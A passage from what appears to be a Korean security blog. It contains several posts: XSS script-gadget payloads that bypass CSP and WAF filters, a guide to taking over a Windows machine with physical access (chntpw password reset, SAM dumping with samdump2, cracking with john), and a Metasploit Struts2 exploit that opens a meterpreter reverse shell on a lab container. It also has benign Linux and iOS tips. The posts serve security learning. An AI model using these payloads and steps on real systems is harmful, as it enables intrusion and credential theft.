data-foobar="${$this.me.ownerDocument.body.appendChild($this.me.s)}"></div>

Expressions parsers
<template is=dom-bind><div
five={{insert(me._nodes.0.scriptprop)}}
four="{{set('insert',me.root.ownerDocument.body.appendChild)}}"
three="{{set('me',nextSibling.previousSibling)}}"
two={{set('_nodes.0.scriptprop.src','data:\,alert(45)')}}
scriptprop={{_factory()}}
one={{set('_factoryArgs.0','script')}} >
</template>

<template is=dom-bind><div
 c={{alert('1',ownerDocument.defaultView)}}
 b={{set('_rootDataHost',ownerDocument.defaultView)}}>
</div></template>

<div ng-app ng-csp ng-focus="x=$event.view.window;x.alert(45)">

<script id="template" type="text/ractive">
 <iframe srcdoc="
 <script nonce={{@global.document.currentScript.nonce}}>
 alert(1337)
 </{{}}script>">
 </iframe>
</script>

ModSecurity CRS via Dojo Toolkit
<div data-dojo-type="dijit/Declaration" data-dojo-props="}-alert(45)-{">

CSP unsafe-eval via underscore templates
<div type=underscore/template> <% alert(45) %> </div>

Conclusion

어떻게 보면 알려진 방법일수도 있고 새로운 방법일수도 있습니다. 다만 중요한건 이전에 angularjs sandbox escape 포스팅에서도 이야기드렸듯이(이야기안했나..?) 방법으로 인한 여러 우회 케이스가 발견될 수 있다는 겁니다.

http://www.hahwul.com/2017/07/web-hacking-angularjs-sandboxdom-based.html

분명히 위에있는 Framework, Library 뿐만 아니라 다른 곳에서도 발견될 수 있고 직접 적용한 Filtering에도 적용될 수 있기 때문에 이런 기법에 대한 내용은 중요하다고 생각이 드네요.

Reference

https://www.blackhat.com/docs/us-17/thursday/us-17-Lekies-Dont-Trust-The-DOM-Bypassing-XSS-Mitigations-Via-Script-Gadgets.pdf
https://msdn.microsoft.com/en-us/library/hh567599(v=cs.95).aspx
https://developers.google.com/gadgets/docs/fundamentals?hl=ko
https://www.youtube.com/watch?v=p07acPBi-qw
https://www.w3schools.com/jquery/jquery_ref_selectors.asp
http://www.hahwul.com/2017/07/web-hacking-angularjs-sandboxdom-based.html
http://www.hahwul.com/2016/01/web-hacking-xxn-attackx-xss-nightmare-r.html
http://www.hahwul.com/2016/05/web-hacking-xdexss-dom-base-evasion.html
Share: | Coffee Me:

[SYSTEM HACKING] lynis를 이용한 시스템 취약점 스캔(System vulnerability Scanning with lynis)

Install 

설치는 다른 툴과 동일하게 아주 심플합니다.
CISOfy의 github를 이용해도 되고 패키지 매니저를 이용해도 됩니다.

#> apt-get install lynis

or

#> git clone https://github.com/CISOfy/lynis

Usage

크게 2가지 옵션이 존재합니다. audit, update이고 이름 그래도 audit은 분석 update는 업데이트입니다.

    audit
        audit system                  : Perform security scan
        audit dockerfile <file>       : Analyze Dockerfile

    update
        update info                   : Show update details
        update release                : Update Lynis release

하나 봐야할건, audit 하위 옵션으로 system과 dockerfile 이 있는데 systemd으로 인자값을 넘겨줄 시 lynis가 깔린 해당 시스템에 대한 진단을 수행하고 dockerfile을 넘겨줄 시 Docker 내부에서 진단을 수행하게 됩니다.

Scan options

audit으로 진단 시 추가적인 옵션을 줄 수 있습니다.

  Scan options:
    --auditor "<name>"            : Auditor name
    --dump-options                : See all available options
    --no-log                      : Don't create a log file
    --pentest                     : Non-privileged scan (useful for pentest)
    --profile <profile>           : Scan the system with the given profile file
    --quick (-Q)                  : Quick mode, don't wait for user input
    --tests "<tests>"             : Run only tests defined by <tests>
    --tests-category "<category>" : Run only tests defined by <category>

  Layout options:
    --no-colors                   : Don't use colors in output
    --quiet (-q)                  : No output, except warnings
    --reverse-colors              : Optimize color display for light backgrounds

  Misc options:
    --debug                       : Debug logging to screen
    --view-manpage (--man)        : View man page
    --version (-V)                : Display version number and quit

  Enterprise options:
    --plugin-dir "<path>"         : Define path of available plugins
    --upload                      : Upload data to central node

요정도이고.. 실제 테스트 시 이런식으로 명령을 전달해주면 됩니다.

Quick scan
#> lynis audit system -Q

Non-privileged scan
#> lynis audit system --pentest

Debug scan
#> lynis audit system --debug


Share: | Coffee Me:

[iOS] XCode Simulator에 App(.ipa) 파일 설치하기

취약점 테스트 기기로 쓰는 iOS 디바이스에 문제가 있어 Simulator를 알아보던 중 간단한 팁이 있어 작성합니다.

일반적으로 Simulator에 Xcode로 컴파일한 앱이 아니면 설치가 불가능합니다. 다만 약간의 트릭을 쓰면 쉽게 가능하지만요. 오늘은 app 파일인 .ipa(app)으로 Xcode Simulator에 설치해봅시다.

Extract .ipa file

PK헤더!

ipa 파일은 Android apk 와 유사하게 압축 파일입니다. 확장자를 변경 후 압축을 풀어줍니다.

#> cp test.ipa test.zip
#> unzip test.zip

압축을 풀어서 내용을 보면 .app 디렉토리가 나옵니다. 이 디렉토리에는 app에 대한 많은 정보(사실 전부죠)가 들어있고 이 디렉토리를 통해 Simulator에 설치가 가능합니다.

Xcode Simulator에 설치하기

xcode는 xcrun 이란 명령으로 커맨드라인에서 명령을 줄 수 있으며 simctl 옵션으로 simulator로 명령 전달이 가능합니다. install 명령을 주어 app 파일로 설치할 수 있습니다.

#> xcrun simctl install [simulator 고유값] [app 경로]

app 경로는 방금 풀어낸 디렉토리여서 알겠지만.. 고유값은 과연 어디있을까요?
User 디렉토리 하위 Library/Developer/CoreSimulator/Devices/ 에 Simulator Devices 들이 존재합니다.

#> ls ~/Library/Developer/CoreSimulator/Devices/
2AA64BA2-1B71-4FBA-9735-294CC97715BCABSD
[....]

이런식으로 굉장히 많습니다. 물론 이 데이터들에 대한 정보는 device_set.plist 파일에 xml로 잘 정리되어있습니다.
#> cat ~/Library/Developer/CoreSimulator/Devices/device_set.plist



#> xcrun simctl install 2AA64BA2-1B71-4FBA-9735-294CC97715BCABSD ./test.app

App install script

매번 설치마다 디바이스를 찾기는 번거롭습니다. 그리고 때에 따라 모든 Simulator에 설치가 필요할 상황도 있죠.

ad=$1
echo "Install" $ad
nowdir=$(pwd)
cd ~/Library/Developer/CoreSimulator/Devices/
devices=$(ls -d */)
cd "$nowdir"
for device in $devices
do
    device_id=${device%/}
    xcrun simctl install "$device_id" "$ad"
done
Share: | Coffee Me:

10/12/2017

[LINUX] Make a Persistent Live OS USB(비 휘발성 Live OS 만들기)


파티션의 Label이 persistence로 지정하고 persistence.conf 를 작성해주면 persistence 파티션에 변경사항을 기록하며 LiveOS지만 데이터 저장이 가능해집니다.

Step1. Persistence Partition 설정하기

먼저 기존 Live OS를 부팅합니다. 그다음 파티션 도구를 이용해 파티션을 쪼개줍니다.
실제 구동이 되는 LiveOS 파티션과 persistence 파티션 2개로 구성이 되어야합니다.

구성은 gparted나 minitool partition 같이 파티션 관련 프로그램으로 하면 수월합니다.
뭐 직접 fdisk로 해도 무방하죠 :)

Step2. persistence.conf 작성하기

LiveOS USB를 다른 OS에서 연결한 후 마운트해줍니다.
(LiveOS USB가 /dev/sdb2로 가정)

#> mount /dev/sdb2 /mnt/usbusbusb
(usbusbusb는 임의의 폴더에요. 작업을 위한)

boot usb 내에 persistence.conf 를 작성해주면 LiveOS의 변경 사항들을 persistence 파티션에 기록하게 됩니다. 이를 위해 conf 하나를 만들어준 후 마운트를 해제합니다.

#> echo "/ union" > /mnt/usbusbusb/persistence.conf
#> umount /dev/sdb2;

이제부턴 LiveOS에서 데이터를 저장하거나 수정했을 때 persistence 파티션에 기록되어 비 휘발성을 띈 Live USB를 사용하실 수 있습니다.

Persistent LiveOS USB 전체 구현하기

아래 블로그에 잘 설명되어 있습니다. 참고해주세요.
https://m.blog.naver.com/PostView.nhn?blogId=kiros33&logNo=220069503304

Reference

https://wiki.kldp.org/wiki.php/LiveCD-HOWTO
https://docs.kali.org/downloading/kali-linux-live-usb-persistence
https://help.ubuntu.com/community/ko/LiveCDCustomization
https://null-byte.wonderhowto.com/how-to/install-kali-live-usb-drive-with-persistence-optional-0162253/
https://m.blog.naver.com/PostView.nhn?blogId=kiros33&logNo=220069503304
Share: | Coffee Me:

[HACKING] Metasploit, OpenVAS 연동(feat docker)

메모해둘겸 작성합니다.

예전엔 직접 하나하나 해야해서 귀찮았지만.. docker로 편하게 설치합시다.

#> docker run -d -p 443:443 -p 9390:9390 --name openvas mikesplain/openvas

docker ip의 9390 포트로 접근 시 관리 페이지 확인이 가능합니다. Metasploit에 연동해서 사용하면 아주 편리하죠.


    Command                       Description
    -------                       -----------
    openvas_config_list           Quickly display list of configs
    openvas_connect               Connect to an OpenVAS manager using OMP
    openvas_debug                 Enable/Disable debugging
    openvas_disconnect            Disconnect from OpenVAS manager
    openvas_format_list           Display list of available report formats
    openvas_help                  Displays help
    openvas_report_delete         Delete a report specified by ID
    openvas_report_download       Save a report to disk
    openvas_report_import         Import report specified by ID into framework
    openvas_report_list           Display a list of available report formats
    openvas_target_create         Create target (name, hosts, comment)
    openvas_target_delete         Delete target by ID
    openvas_target_list           Display list of targets
    openvas_task_create           Create a task (name, comment, target, config)
    openvas_task_delete           Delete task by ID
    openvas_task_list             Display list of tasks
    openvas_task_pause            Pause task by ID
    openvas_task_resume           Resume task by ID
    openvas_task_resume_or_start  Resume task or start task by ID
    openvas_task_start            Start task by ID
    openvas_task_stop             Stop task by ID
    openvas_version               Display the version of the OpenVAS server



HAHWUL > openvas_connect admin admin 172.16.0.4 9390 ok
[*] Connecting to OpenVAS instance at 172.16.0.4:9390 with username admin...
[+] OpenVAS connection successful

HAHWUL > openvas_target_create
[*] Usage: openvas_target_create <name> <hosts> <comment>
HAHWUL > openvas_target_create "test" www.hahwul.com "test comment!"
[*] a248577e-b232-4935-a046-98255a08f193
[+] OpenVAS list of targets

ID                                    Name  Hosts             Max Hosts  In Use  Comment
--                                    ----  -----             ---------  ------  -------
a248577e-b232-4935-a046-98255a08f193  test  www.hahwul.com  1          0       test comment!


HAHWUL > openvas_target_list
[+] OpenVAS list of targets

ID                                    Name  Hosts             Max Hosts  In Use  Comment
--                                    ----  -----             ---------  ------  -------
a248577e-b232-4935-a046-98255a08f193  test  www.hahwul.com  1          0       test comment!


HAHWUL > openvas_config_list
[+] OpenVAS list of configs

ID                                    Name
--                                    ----
085569ce-73ed-11df-83c3-002264764cea  empty
2d3f051c-55ba-11e3-bf43-406186ea4fc5  Host Discovery
698f691e-7489-11df-9d8c-002264764cea  Full and fast ultimate
708f25c4-7489-11df-8094-002264764cea  Full and very deep
74db13d6-7489-11df-91b9-002264764cea  Full and very deep ultimate
8715c877-47a0-438d-98a3-27c7a6ab2196  Discovery
bbca7412-a950-11e3-9109-406186ea4fc5  System Discovery
daba56c8-73ec-11df-a475-002264764cea  Full and fast


HAHWUL > openvas_task_create scan1 scan 2d3f051c-55ba-11e3-bf43-406186ea4fc5 a248577e-b232-4935-a046-98255a08f193
[*] 5fc7c069-124b-46fb-90cd-362ce11a552f
[+] OpenVAS list of tasks

ID                                    Name   Comment  Status  Progress
--                                    ----   -------  ------  --------
5fc7c069-124b-46fb-90cd-362ce11a552f  scan1  scan     New     -1


HAHWUL >
Share: | Coffee Me:

[HACKING] Kali Live OS를 이용한 Windows, Linux 물리 접근 해킹

Live USB 를 이용한 물리적인 해킹 시 사용할만한 간단한 툴킷 하나 만드려고 하는김에 메모차원으로 포스팅 작성합니다.

원활한 이미지 캡쳐를 위해 전 가상환경에서 진행합니다.
(타겟은 Windows7 중심으로.. )

시작하기 앞서 Windows VM에 Kali live CD를 넣어주고 CD 우선 부팅으로 칼리를 부팅합니다.



타겟 PC 드라이브 마운트

Live OS로 부팅하는 경우는 대게 로컬 패스워드를 풀거나 내부에 파일에 접근해서 빠르게 탈취하기 위해서 사용됩니다. 가장 우선적으로 진행될 작업은 대상 드라이브를 식별하고 마운트하는 일이죠.

fdisk 로 연결된 드라이브를 확인합니다.

#> fdisk -l 


가상환경이라 몇개 없지만.. 실제론 어느정도 나올겁니다. 대게 뭐가 뭔지 정확히 파악이 안되면 걍 다 마운트하는것도 방법이죠.

#> mount /dev/sda1 /mnt

맨 아래 잘 마운트됬군요 :)

마운트된 디렉토리에서 원하는 데이터를 찾아가면 됩니다.
#> cd /mnt

이후부턴 개인 취향에 따라 Move

Windows Attack - Change windows password

글 초반부에도 이야기드렸듯이 Live OS로 부팅하는 이유에는 패스워드가 가장 큰 부분을 차지한다고 생각됩니다.

Windows의 경우 "Windows/System32/config 디렉토리 하위에 SAM 파일로 사용자의 정보를 보관합니다. 마치 Linux 에서 passwd, shadow 파일과 비슷한 역할을 수행하죠.

SAM에 대해서는 검색해보시면 많은 자료가 나올테구요. 왜 Live OS를 가지고 SAM 탈취를 시도하냐고 하면 윈도우 구동중엔 SAM 파일이 시스템에게 잡혀있어 접근이 불가능하기 떄문이죠. 물론 .. 구동중에도 SAM 자체를 얻는게 불가능한건 아니지만 이미 원격쉘을 가지고 있다는 가정이 붙어야하기 떄문에 물리적인 접근이 가능하다면 LiveOS 만한 방법이 없다고 생각되네요.
(http://www.hahwul.com/2015/08/metasploit-metasploit-hashdump-password.html 참고)

일단 config 디렉토리로 이동합니다.

#> cd /mnt/Windows/System32/config



패스워드 변경은  chntpw 명령으로 쉽게 가능합니다.
먼저 -ㅣ 옵션을 통해 SAM 파일에 등록된 사용자를 보면...
#> chntpw -l SAM


리스트로 확인이 가능하고, -u 옵션으로 사용자를 지정하여 패스워드를 변경할 수 있습니다.

#> chntpw -u [user-name] SAM

Live OS USB (VM에서 CD로..ㅋㅋ) 빼고 재부팅해서 로그인 시도해보면 잘 변경되어 있습니다.

물론 이 방법은 패스워드가 바뀌기 때문에 걸릴 확률이 굉장히 높아지지요(특히 사용하는 계정이라면)

Windows Attack - SAM file Dumping

그래서.. 패스워드 크랙을 우선적으로 시도합니다.

리눅스에서 아래처럼 shadow 파일을 passwd 파일로 풀어서 나온 hash를 크랙하듯이 윈도우도 비슷하게 진행합니다.

Linux
#> unshadow /etc/passwd /etc/shadow > ~/crack
#> john -wordlist=/text_path ./crack -show

config 경로에서 samdump2로 SAM, SYSTEM 파일에서 hash를 뽑아냅니다.

#> samdump2 -o /dump_sam SYSTEM SAM

그다음 추출된 dump_sam을 john the ripper 나 hashcat 등 크랙 프로그램으로 돌려 풀어내면 끝.

Linux attack


리눅스 시스템은 공격 가능성이 좀 적긴합니다. 저처럼 only 리눅스 유저가 있을 순 있지만, 대부분 인프라 환경에서의 리눅스는 서버이고, 리부팅 후 Live로 작업 시 바로 장애가 발생하여 관리자가 눈치챌 수 있겠지요.

다만 때에따라 리눅스 환경도 공격이 필요할 것으로 생각됩니다. passwd 파일 풀어내는 것도 있겠지만 OS는 동작, 설정 등 많은 정보를 파일로 남기기 때문에 LiveOS로 접근해서 할 수 있는 것들이 많습니다.

Other scenario

LiveOS가 패스워드 크랙에 초점이 많이 맞춰진건 사실입니다. 이번에 간단하게 해볼 Project 도 우선적으론 패스워드 자동 크랙이 우선이니 이런말을 쓰면서도 참 맘이 그러네요.

아무튼 LiveOS는 여러 공격 벡터를 가질 수 있다고 생각됩니다. 분명 시스템의 설정과 동작 정보등은 파일로 기록되고,  LiveOS로 접근 시 권한이나 점유에 따라 접근이 불가능했던 부분들이 모두 제어가 가능해집니다. (당연 , 마운트 시 rw로 붙이면 끝이니..)

이를 통해 패스워드 크랙이 아닌 백도어 삽입이나 설정 변경 등 재미있는 것들을 해볼 수 있겠네요. 어차피 리눅스던 윈도우던 모두.. 파일에 정보를 남기기 떄문이죠.

Conclusion

이런것들을 스크립트로 자동화하고, LiveOS USB에 넣어두면 재미있을거란 생각이 듭니다.물리적으로 PC에 연결하고, 단시간에 패스워드 탈취 ~ 백도어까지 남길 수 있다면 나름 매력적이겠네요. (학생때 USB로 다른 PC 감염시키도 놀던것도 생각나고.. )

아무튼 이런 느낌의 Project 를 간단하게 해볼 예정이니 관심있거나 좋은 아이디어 있으시면 댓글 or Github로 참여해주세요(repo 생성하면 댓글로 남겨두겠습니다)


Share: | Coffee Me:

10/11/2017

[WEB HACKING] Struts2 RCE(CVE-2017-5638, S2-045) 테스트 및 docker file 공유

매번 Struts2 관련 취약점이 나올때마다 포스팅을 했던 것 같은데요. 오늘 체크하다보니 docker hub에 취약 App 설정이 올라와있어 공유 차 포스팅 작성합니다.

취약점에 대한 내용은 지난 포스팅 참고해주세요. (벌써 반년 넘게 지났군요..)

http://www.hahwul.com/2017/03/web-hacking-apache-struts2-remote-code.html



Dockerfile

https://hub.docker.com/r/piesecurity/apache-struts2-cve-2017-5638/

Dockerfile 내용을 보면..

FROM tomcat:7
MAINTAINER piesecurity <admin@pie-secure.org>
RUN set -ex \
 && rm -rf /usr/local/tomcat/webapps/* \
 && chmod a+x /usr/local/tomcat/bin/*.sh
COPY struts2-showcase-2.3.12.war /usr/local/tomcat/webapps/ROOT.war
EXPOSE 8080

별다른거 없습니다. 취약 버전대 struts2를 tomcat으로 실행하는게 전부이지요.

실행해보죠.

#> docker run --name "struts2-cve" piesecurity/apache-struts2-cve-2017-5638

간단한 팁이지만.. 각 docker 컨테이너의 ip는 container id 값을 가지고 inspect 옵션으로 찾으시면 됩니다.

#> docker ps
CONTAINER ID        IMAGE                                      COMMAND                  CREATED             STATUS              PORTS                    NAMES
5e2a84ecdcdf        piesecurity/apache-struts2-cve-2017-5638   "catalina.sh run"        31 seconds ago      Up 30 seconds       8080/tcp                 silly_kowalevski
444a4a573471        danielguerra/kali-maltego                  "/usr/bin/supervisord"   About an hour ago   Up About an hour    0.0.0.0:5900->5900/tcp   maltego
#> docker inspect 5e2a84ecdcdf
[
    {
        "Id": "5e2a84ecdcdff82283995a06eb4e5b53f0023f3d7422c234f7e20cf435b97c7e",
        "Created": "2017-10-11T05:18:21.432088013Z",
        "Path": "catalina.sh",

[....]

"Networks": {
                "bridge": {
                    "IPAMConfig": null,
                    "Links": null,
                    "Aliases": null,
                    "NetworkID": "ea3b29a04dab6e5ec26668ff1d080a96a60a5997de4da9facbd290f057ffffbc",
                    "EndpointID": "b49e1f3246d2964ebe24639e9cc0064caab1d3be5828dc9cfbacdbe5b1f14951",
                    "Gateway": "172.17.0.1",
                    "IPAddress": "172.17.0.3",
                    "IPPrefixLen": 16,
                    "IPv6Gateway": "",
                    "GlobalIPv6Address": "",
                    "GlobalIPv6PrefixLen": 0,
                    "MacAddress": "02:42:ac:11:00:03"
                }


172.17.0.3:8080 으로 붙으니 잘 보이네요 :)


Exploit Struts2 Exploit

(사실 이 부분은 그닥 중요하지 않습니다. 그저 docker 파일 공유가 주목적인 포스팅이라..)
metasploit에서 exploiting 하셔도 되고, PoC로 테스트하셔도 됩니다.
올해 나온거로 찾아보면 2개가 있고(둘다 참 거지가.ㅌ...) CVE-2017-5638는 3월꺼니 OGNL Injection으로 선택합니다.
HAHWUL > search cve:2017 struts2

Matching Modules
================

   Name                                          Disclosure Date  Rank       Description
   ----                                          ---------------  ----       -----------
   exploit/multi/http/struts2_content_type_ognl  2017-03-07       excellent  Apache Struts Jakarta Multipart Parser OGNL Injection
   exploit/multi/http/struts2_rest_xstream       2017-09-05       excellent  Apache Struts 2 REST Plugin XStream RCE


HAHWUL > use exploit/multi/http/struts2_content_type_ognl

RHOST랑 PAYLOAD 등을 세팅하고..

HAHWUL exploit(struts2_content_type_ognl) > 
HAHWUL exploit(struts2_content_type_ognl) > set RHOST 172.17.0.3
RHOST => 170.17.0.3
HAHWUL exploit(struts2_content_type_ognl) > set PAYLOAD linux/x64/meterpreter/reverse_tcp
PAYLOAD => linux/x64/meterpreter/reverse_tcp


HAHWUL exploit(struts2_content_type_ognl) > set LHOST 192.168.56.101
LHOST => 192.168.56.101
HAHWUL exploit(struts2_content_type_ognl) > show options

Module options (exploit/multi/http/struts2_content_type_ognl):

   Name       Current Setting     Required  Description
   ----       ---------------     --------  -----------
   Proxies                        no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOST      172.17.0.3          yes       The target address
   RPORT      8080                yes       The target port (TCP)
   SSL        false               no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /struts2-showcase/  yes       The path to a struts application action
   VHOST                          no        HTTP server virtual host


Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.56.101     yes       The listen address
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Universal


HAHWUL exploit(struts2_content_type_ognl) > set TARGETURI /
TARGETURI => /

실행해주시면... 잘 되네요 :)

HAHWUL exploit(struts2_content_type_ognl) > exploit -z

[*] Started reverse TCP handler on 192.168.56.101:4444
[*] Sending stage (2878936 bytes) to 172.17.0.3
[*] Meterpreter session 3 opened (192.168.56.101:4444 -> 172.17.0.3:41584) at 2017-10-11 22:25:16 +0900
[*] Session 3 created in the background.

HAHWUL auxiliary(syn) > sessions -l

Active sessions
===============

  Id  Type                   Information                                Connection
  --  ----                   -----------                                ----------
  3   meterpreter x64/linux  uid=0, gid=0, euid=0, egid=0 @ 172.17.0.3  10.67.17.137:4444 -> 172.17.0.3:41584 (172.17.0.3)

HAHWUL auxiliary(syn) > sessions -i 3
[*] Starting interaction with 3...

meterpreter > 
meterpreter > sysinfo
Computer     : 172.17.0.3
OS           : Debian 8.8 (Linux 4.4.0-96-generic)
Architecture : x64
Meterpreter  : x64/linux

Reference

https://hub.docker.com/r/piesecurity/apache-struts2-cve-2017-5638/
Share: | Coffee Me:

10/01/2017

[LINUX] Plank Dock - 심플하고 깔끔한 Dock Application

리눅스 유저라면 Dock을 사용하시거나 한번쯤은 꼭 들어봤을거라 생각합니다.
Dock 어플이 아니여도 xfce 패널이라던지, 유니티의 기본 dock gnome3의 dash dock 등 자연스럽게 접하게 되어있죠.

오늘은 dock 어플 중 실픔하고 깔끔하기로 유명한 Plank Dock에 대해 가볍게 이야기하려 합니다.

PlankDock?

이 Dock application은 docky, cairo와 같이 다른 dock에 비해 가볍고 심플합니다. 그만큼 애니메이션이나 유틸성은 좀 포기해야하지만, Dock 자체의 기능에 집중한다는 느낌은 듭니다.

깔끔하졍?

설치하기


넵 별거 없습니다. apt-get, pacman, yum 등 각 OS의 패키지 매니저로 설치해줍니다. 전 debian이니..

#> apt-get install plank

설치가 완료되면 설정 페이지 열어 기본적인 세팅을 해줍니다.

#> plank --preferences


심플해서 정말 별거 없습니다.

테마 바꾸기

기본 상태로 사용해도 좋지만 개인적으로 초기 디자인은 맘에 안드니.. 테마를 바꿔줍시다. gnome-lock 가서 맘에 드는거 하나를 골라줍니다.
테스트용으로 전 Awadama 테마 (https://www.gnome-look.org/p/1167911/)

다만 Docky나 Cairo에 비해서는 테마가 좀 적어요. 참고하시길

다운로드 후 압축 풀어주시고..




다만 Docky나 Cairo에 비해서는 테마가 좀 적어요. 참고하시길

다운로드 후 압축 풀어주시고..

#> tar -xvf Awadama-launcher
#> ll
합계 60
drwxr-xr-x  4 root   root    4096  9월 28 15:26 ./
drwxr-xr-x 15 hahwul hahwul 28672  9월 28 15:26 ../
drwxrwxr-x  2 hahwul hahwul  4096  1월 12  2017 Awadama-PonPon/
-rw-rw-r--  1 hahwul hahwul  1113  9월 28 15:25 Awadama-PonPon.tar.gz
drwxrwxr-x  2 hahwul hahwul  4096  1월 11  2017 Awadama-launcher/
-rw-rw-r--  1 hahwul hahwul  1105  9월 28 15:25 Awadama-launcher.tar.gz

plank의 themes 경로로 넣어줍니다. (~/.local/share/plank/themes/)

#> cp Awadama-launcher /home/hahwul/.local/share/plank/themes/ -R
#> cd /home/hahwul/.local/share/plank/themes/
#> ls
Awadama-launcher

이제 테마를 바꿔볼까요?



느낌이 살진 않네요. (테스트 환경이라 icons 세팅도 안되어있는..)

아이콘도 바꿔봅시다. gnome-lock에서 땡기는거 하나 받아서..
넣어주시고 적용해주시면.

#> cp Shadow-3.4 /usr/share/icons/ -R


생각보다 잘 어울리네요 :)
Share: | Coffee Me:

[LINUX] How to install xfce on blackarch linux


개인적으로 gnome과 xfce를 좋아합니다. 그중에서도 xfce를 최고로 생각하는데, 그 이유는 클래식의 익숙한 느낌과 빠른 속도 때문이죠.

아쉽게도 blackarch linux의 기본 창 매니저에는 xfce가 포함되어 있지 않습니다. Openbox를 비롯하여 awsome 등 archlinux에서 많이 사용되는 manager 위주로 구성되어 있죠.

오늘은 BlackArch Linux에서 xfce를 설치, 설정하는 내용으로 진행하도록 하겠습니다.
(별거 없어요, 그냥 apt-get이냐 pacman이냐 차이..)

Install xfce4 on blackarch linux

넵 시작하자마자 끝나겠네요. pacman으로 xfce4를 설치해줍니다.
#> pacman -S xfce4

xfce 설치 진행




설치가 다 되었습니다. Desktop 을 변경해주시면 됩니다.



다만 blackarch에서 기본 관리자로로 xfce를 사용하지 않기 떄문에 추가적인 패키지 설치가 필요합니다.  blackarch-menus 와 blackmate  입니다.

#> pacman -S blackarch-menus
#> pacman -S blackmate
#> blackmate
#> reboot


blackmate 로 쉽게 세팅이 가능하니 blackmate 만 설치해주셔도 좋습니다.

https://github.com/Anyon3/blackmate

Blackmate is a generator for the tools list of BlackArch Linux OS, made for the wm Xfce4. The script fetch the latest tools and generate an new entry on the blackarch menu

openbox를 기본으로 있어 잘 되어있고, mate 또한 쓸만하니 취향에 따라 설치하시면 좋을 하네요.

#> pacman -S openbox
#> pacman -S mate



Reference

http://forum.top-hat-sec.com/index.php?topic=5292.0
https://www.youtube.com/watch?v=vQcjzbnxzeM&feature=youtu.be
https://github.com/Anyon3/blackmate
Share: | Coffee Me:

[LINUX] BlackArch Linux install tip!


최근에 OS 배포판 변경을 시도했다가.. 다시 Debian으로 돌아왔는데요
(이제는 5일씩 밤을샐 수 없네요.. / 인간은 실수를 반복하죠)

관련해서 blackarch 설치 시 Tip 작성해봅니다. (사실 예전에 작성한 포스팅과 별 다를게 없네요) 다른 리눅스 설치하는 것과 동일하지만, 같은 Cli여도 다른 느낌으로!

GOGO

#> blackarch-install

Network setting


Interface 선택 시 여러 선택지 나타납니다.

1. 유선랜일 시 DHCP를 통해 자동으로 네트워크 연결
2. WIFI 사용 시 세팅
3. 직접 networks 설정하여 진행
4. netinstall 아닐 시 4번이 깔끔

참고하셔서 필요하신 부분으로 세팅하면 되고,  WIFI로 사용 시 SSI와 Pass 물어보는 부분으로 넘어갑니다.


Partition

파티션 설정을 적접 진행하면 됩니다. 뭐 다른 Linux 설치하는 것과 크게 다르지 않습니다만, 요즘 리눅스는 자동으로 잡아주기 때문에 은근히 헷갈려하시는 분들이 있어 같이 작성합니다.

label은 dos 로 잡아주시는게 편합니다.


파티션을 잡아주면 됩니다. 먼저 New  선택 후..


처음 만들 파티션의 크기를 지정해줍니다. boot, swap 영역 모두 만들어야 하고 우선적으로 boot부터 만들어줍니다. 크기는 500mb 로 지정하였습니다.


용량 선택 후 primary로 지정합니다.


일단 500MB 짜리 파티션 생성되었습니다. 해당 부분에서 Bootable 으로 선택해주세요.


부팅 영역은 끝났습니다.  swap 영역 생성을 위해 위 방법으로 파티션을 하나 더 만들어주되, Boot 지정은 하지 않습니다.

파티션이 선택되면 하단에 메뉴가 나타는데(아까 여기서 bootable  한거)  Type으로 들어가 Swap 파티션으로 변경해줍니다.


 이제 나머지 잔여 용량을 편의에 따라 파티션 나눠주시고 Write를 선택해주시면 반영을 시작합니다. (액션이 눈에 보이진 않아요)


Write 이후 Quit 해주시면 설치가 시작됩니다.



업데이트 서버 설정

Look for best server 부분에서
y시 굉장히 느림
n은 보통

취향따라 선택하시면 되긴 하지만.. n 시 설치 후에 repo 서버가 느려 고생할 수 있습니다. 결국은 직접 찾고 다시 반영해야하니 미래를 위해서 y 추천드립니다.


Network 설정하기(유선랜)

간단하게 dhcp로 받아줍니다. 어댑터가 내려가 있으니 ifconfig로 올려주고 dhclient!

#> ifconfig enp0s3 up
#> dhclient enp0s3
#> ping google.com

pacman 업데이트
#> pacman -Syy

upgrade(apt-get upgrade 생각하면 비슷)
#> pacman -Su
Share: | Coffee Me: